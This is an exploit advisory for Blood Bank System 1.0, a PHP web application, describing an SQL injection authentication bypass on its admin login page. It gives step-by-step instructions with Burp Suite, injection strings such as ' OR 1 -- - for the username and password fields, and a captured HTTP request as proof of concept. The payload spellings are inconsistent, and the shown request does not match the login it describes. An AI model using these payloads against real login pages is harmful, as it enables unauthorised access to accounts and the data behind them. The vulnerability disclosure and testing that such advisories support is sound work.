# Exploit Title: Blood Bank System 1.0 - Authentication Bypass# Date: 30-9-2021# Exploit Author: Nitin Sharma (vidvansh)# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code/# Software Link : https://download.code-projects.org/details/f44a4ba9-bc33-48c3-b030-02f62117d230# Version: 1.0# Tested on: Windows 10 , Apache , Mysql # Description : Password input is affected with authentication bypass because of improper sanitisation which lead to access to auauthorised accounts.#Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/bloodbank/login.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to ' OR 1 -- -and password to ' OR 1---.
Step 5 – Click forward and now you will be logged inas admin.# PoC:
GET /bloodbank/file/../bloodrequest.php?msg=Gandhi%20hospital%20have%20logged%20in. HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/login.php
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76
Upgrade-Insecure-Requests:1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1# Authentication Bypass:# Go to admin login page (http://localhost/bloodbank/login.php), then use below payload as username and password =>
Username:** Random email**
Password: ' or1---
